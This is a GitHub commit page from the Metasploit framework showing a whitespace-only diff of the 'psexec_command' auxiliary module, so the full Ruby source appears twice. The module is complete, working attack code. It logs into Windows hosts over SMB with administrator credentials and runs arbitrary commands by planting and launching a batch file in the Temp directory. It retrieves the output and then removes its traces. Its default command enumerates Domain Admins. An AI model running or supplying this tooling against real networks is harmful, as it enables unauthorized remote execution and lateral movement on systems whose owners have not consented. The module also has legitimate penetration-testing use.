Skip to content

Commit 6b330ad

Browse files
committed
Retab changes for PR rapid7#2134
1 parent 52ce6af commit 6b330ad

File tree

1 file changed

+178
-178
lines changed

1 file changed

+178
-178
lines changed

modules/auxiliary/admin/smb/psexec_command.rb

Lines changed: 178 additions & 178 deletions
Original file line numberDiff line numberDiff line change
@@ -9,183 +9,183 @@
99

1010
class Metasploit3 < Msf::Auxiliary
1111

12-
include Msf::Exploit::Remote::DCERPC
13-
include Msf::Exploit::Remote::SMB::Psexec
14-
include Msf::Auxiliary::Report
15-
include Msf::Auxiliary::Scanner
16-
17-
# Aliases for common classes
18-
SIMPLE = Rex::Proto::SMB::SimpleClient
19-
XCEPT = Rex::Proto::SMB::Exceptions
20-
CONST = Rex::Proto::SMB::Constants
21-
22-
def initialize(info = {})
23-
super(update_info(info,
24-
'Name' => 'Microsoft Windows Authenticated Administration Utility',
25-
'Description' => %q{
26-
This module uses a valid administrator username and password to execute an
27-
arbitrary command on one or more hosts, using a similar technique than the "psexec"
28-
utility provided by SysInternals. Daisy chaining commands with '&' does not work
29-
and users shouldn't try it. This module is useful because it doesn't need to upload
30-
any binaries to the target machine.
31-
},
32-
33-
'Author' => [
34-
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>',
35-
],
36-
37-
'License' => MSF_LICENSE,
38-
'References' => [
39-
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
40-
[ 'OSVDB', '3106'],
41-
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
42-
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
43-
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
44-
]
45-
))
46-
47-
register_options([
48-
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
49-
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
50-
OptString.new('RPORT', [true, 'The Target port', 445]),
51-
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
52-
], self.class)
53-
54-
register_advanced_options([
55-
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
56-
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 1]),
57-
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 10]),
58-
OptPath.new('LOGDIR', [false, 'File to log output', nil]),
59-
], self.class)
60-
61-
deregister_options('RHOST')
62-
end
63-
64-
def peer
65-
return "#{rhost}:#{rport}"
66-
end
67-
68-
# This is the main controle method
69-
def run_host(ip)
70-
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
71-
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
72-
@smbshare = datastore['SMBSHARE']
73-
@ip = ip
74-
75-
# Try and authenticate with given credentials
76-
if connect
77-
begin
78-
smb_login
79-
rescue Rex::Proto::SMB::Exceptions::Error => autherror
80-
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
81-
return
82-
end
83-
res = execute_command(text, bat)
84-
85-
for i in 0..(datastore['RETRY'])
86-
sleep datastore['DELAY']
87-
# if the output file is still locked then the program is still likely running
88-
if (exclusive_access(text))
89-
break
90-
elsif (i == datastore['RETRY'])
91-
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
92-
end
93-
end
94-
if res
95-
get_output(text)
96-
end
97-
98-
cleanup_after(text, bat)
99-
disconnect
100-
end
101-
end
102-
103-
# Executes specified Windows Command
104-
def execute_command(text, bat)
105-
# Try and execute the provided command
106-
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
107-
print_status("#{peer} - Executing the command...")
108-
begin
109-
return psexec(execute)
110-
rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
111-
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
112-
return false
113-
end
114-
end
115-
116-
# Retrive output from command
117-
def get_output(file)
118-
print_status("#{peer} - Getting the command output...")
119-
output = smb_read_file(@smbshare, @ip, file)
120-
if output.nil?
121-
print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.")
122-
return
123-
end
124-
if output.empty?
125-
print_status("#{peer} - Command finished with no output")
126-
return
127-
end
128-
129-
log_dir = ::File.join(Msf::Config.log_directory,'scripts', 'psexec_command')
130-
::FileUtils.mkdir_p(log_dir)
131-
132-
# Define log filename
133-
timestamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
134-
filename = "#{datastore['RHOSTS']}_#{timestamp}"
135-
if (datastore['LOGDIR'].nil?)
136-
log_file = ::File.join(log_dir,"#{filename}.txt")
137-
else
138-
log_file = ::File.join(datastore['LOGDIR'], "#{filename}.txt")
139-
end
140-
141-
print_good("#{peer} - Command completed successfuly!")
142-
print_status("Logging output to #{log_file}.")
143-
output = "# CMD: #{datastore['COMMAND']}" + output
144-
145-
fd = ::File.new(log_file, 'w+')
146-
fd.write(output)
147-
fd.close()
148-
149-
if datastore["VERBOSE"]
150-
print_status("Output:")
151-
print_line("#{output}")
152-
end
153-
end
154-
155-
#check if our process is done using these files
156-
def exclusive_access(*files)
157-
simple.connect("\\\\#{@ip}\\#{@smbshare}")
158-
files.each do |file|
159-
begin
160-
print_status("checking if the file is unlocked")
161-
fd = smb_open(file, 'rwo')
162-
fd.close
163-
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
164-
print_status("#{peer} - Unable to get handle: #{accesserror}")
165-
return false
166-
end
167-
end
168-
return true
169-
end
170-
171-
172-
# Removes files created during execution.
173-
def cleanup_after(*files)
174-
simple.connect("\\\\#{@ip}\\#{@smbshare}")
175-
print_status("#{peer} - Executing cleanup...")
176-
files.each do |file|
177-
begin
178-
smb_file_rm(file)
179-
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
180-
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
181-
end
182-
end
183-
left = files.collect{ |f| smb_file_exist?(f) }
184-
if left.any?
185-
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
186-
else
187-
print_status("#{peer} - Cleanup was successful")
188-
end
189-
end
12+
include Msf::Exploit::Remote::DCERPC
13+
include Msf::Exploit::Remote::SMB::Psexec
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
# Aliases for common classes
18+
SIMPLE = Rex::Proto::SMB::SimpleClient
19+
XCEPT = Rex::Proto::SMB::Exceptions
20+
CONST = Rex::Proto::SMB::Constants
21+
22+
def initialize(info = {})
23+
super(update_info(info,
24+
'Name' => 'Microsoft Windows Authenticated Administration Utility',
25+
'Description' => %q{
26+
This module uses a valid administrator username and password to execute an
27+
arbitrary command on one or more hosts, using a similar technique than the "psexec"
28+
utility provided by SysInternals. Daisy chaining commands with '&' does not work
29+
and users shouldn't try it. This module is useful because it doesn't need to upload
30+
any binaries to the target machine.
31+
},
32+
33+
'Author' => [
34+
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>',
35+
],
36+
37+
'License' => MSF_LICENSE,
38+
'References' => [
39+
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
40+
[ 'OSVDB', '3106'],
41+
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
42+
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
43+
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
44+
]
45+
))
46+
47+
register_options([
48+
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
49+
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
50+
OptString.new('RPORT', [true, 'The Target port', 445]),
51+
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
52+
], self.class)
53+
54+
register_advanced_options([
55+
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
56+
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 1]),
57+
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 10]),
58+
OptPath.new('LOGDIR', [false, 'File to log output', nil]),
59+
], self.class)
60+
61+
deregister_options('RHOST')
62+
end
63+
64+
def peer
65+
return "#{rhost}:#{rport}"
66+
end
67+
68+
# This is the main controle method
69+
def run_host(ip)
70+
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
71+
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
72+
@smbshare = datastore['SMBSHARE']
73+
@ip = ip
74+
75+
# Try and authenticate with given credentials
76+
if connect
77+
begin
78+
smb_login
79+
rescue Rex::Proto::SMB::Exceptions::Error => autherror
80+
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
81+
return
82+
end
83+
res = execute_command(text, bat)
84+
85+
for i in 0..(datastore['RETRY'])
86+
sleep datastore['DELAY']
87+
# if the output file is still locked then the program is still likely running
88+
if (exclusive_access(text))
89+
break
90+
elsif (i == datastore['RETRY'])
91+
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
92+
end
93+
end
94+
if res
95+
get_output(text)
96+
end
97+
98+
cleanup_after(text, bat)
99+
disconnect
100+
end
101+
end
102+
103+
# Executes specified Windows Command
104+
def execute_command(text, bat)
105+
# Try and execute the provided command
106+
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
107+
print_status("#{peer} - Executing the command...")
108+
begin
109+
return psexec(execute)
110+
rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
111+
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
112+
return false
113+
end
114+
end
115+
116+
# Retrive output from command
117+
def get_output(file)
118+
print_status("#{peer} - Getting the command output...")
119+
output = smb_read_file(@smbshare, @ip, file)
120+
if output.nil?
121+
print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.")
122+
return
123+
end
124+
if output.empty?
125+
print_status("#{peer} - Command finished with no output")
126+
return
127+
end
128+
129+
log_dir = ::File.join(Msf::Config.log_directory,'scripts', 'psexec_command')
130+
::FileUtils.mkdir_p(log_dir)
131+
132+
# Define log filename
133+
timestamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
134+
filename = "#{datastore['RHOSTS']}_#{timestamp}"
135+
if (datastore['LOGDIR'].nil?)
136+
log_file = ::File.join(log_dir,"#{filename}.txt")
137+
else
138+
log_file = ::File.join(datastore['LOGDIR'], "#{filename}.txt")
139+
end
140+
141+
print_good("#{peer} - Command completed successfuly!")
142+
print_status("Logging output to #{log_file}.")
143+
output = "# CMD: #{datastore['COMMAND']}" + output
144+
145+
fd = ::File.new(log_file, 'w+')
146+
fd.write(output)
147+
fd.close()
148+
149+
if datastore["VERBOSE"]
150+
print_status("Output:")
151+
print_line("#{output}")
152+
end
153+
end
154+
155+
#check if our process is done using these files
156+
def exclusive_access(*files)
157+
simple.connect("\\\\#{@ip}\\#{@smbshare}")
158+
files.each do |file|
159+
begin
160+
print_status("checking if the file is unlocked")
161+
fd = smb_open(file, 'rwo')
162+
fd.close
163+
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
164+
print_status("#{peer} - Unable to get handle: #{accesserror}")
165+
return false
166+
end
167+
end
168+
return true
169+
end
170+
171+
172+
# Removes files created during execution.
173+
def cleanup_after(*files)
174+
simple.connect("\\\\#{@ip}\\#{@smbshare}")
175+
print_status("#{peer} - Executing cleanup...")
176+
files.each do |file|
177+
begin
178+
smb_file_rm(file)
179+
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
180+
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
181+
end
182+
end
183+
left = files.collect{ |f| smb_file_exist?(f) }
184+
if left.any?
185+
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
186+
else
187+
print_status("#{peer} - Cleanup was successful")
188+
end
189+
end
190190

191191
end

0 commit comments

Comments
 (0)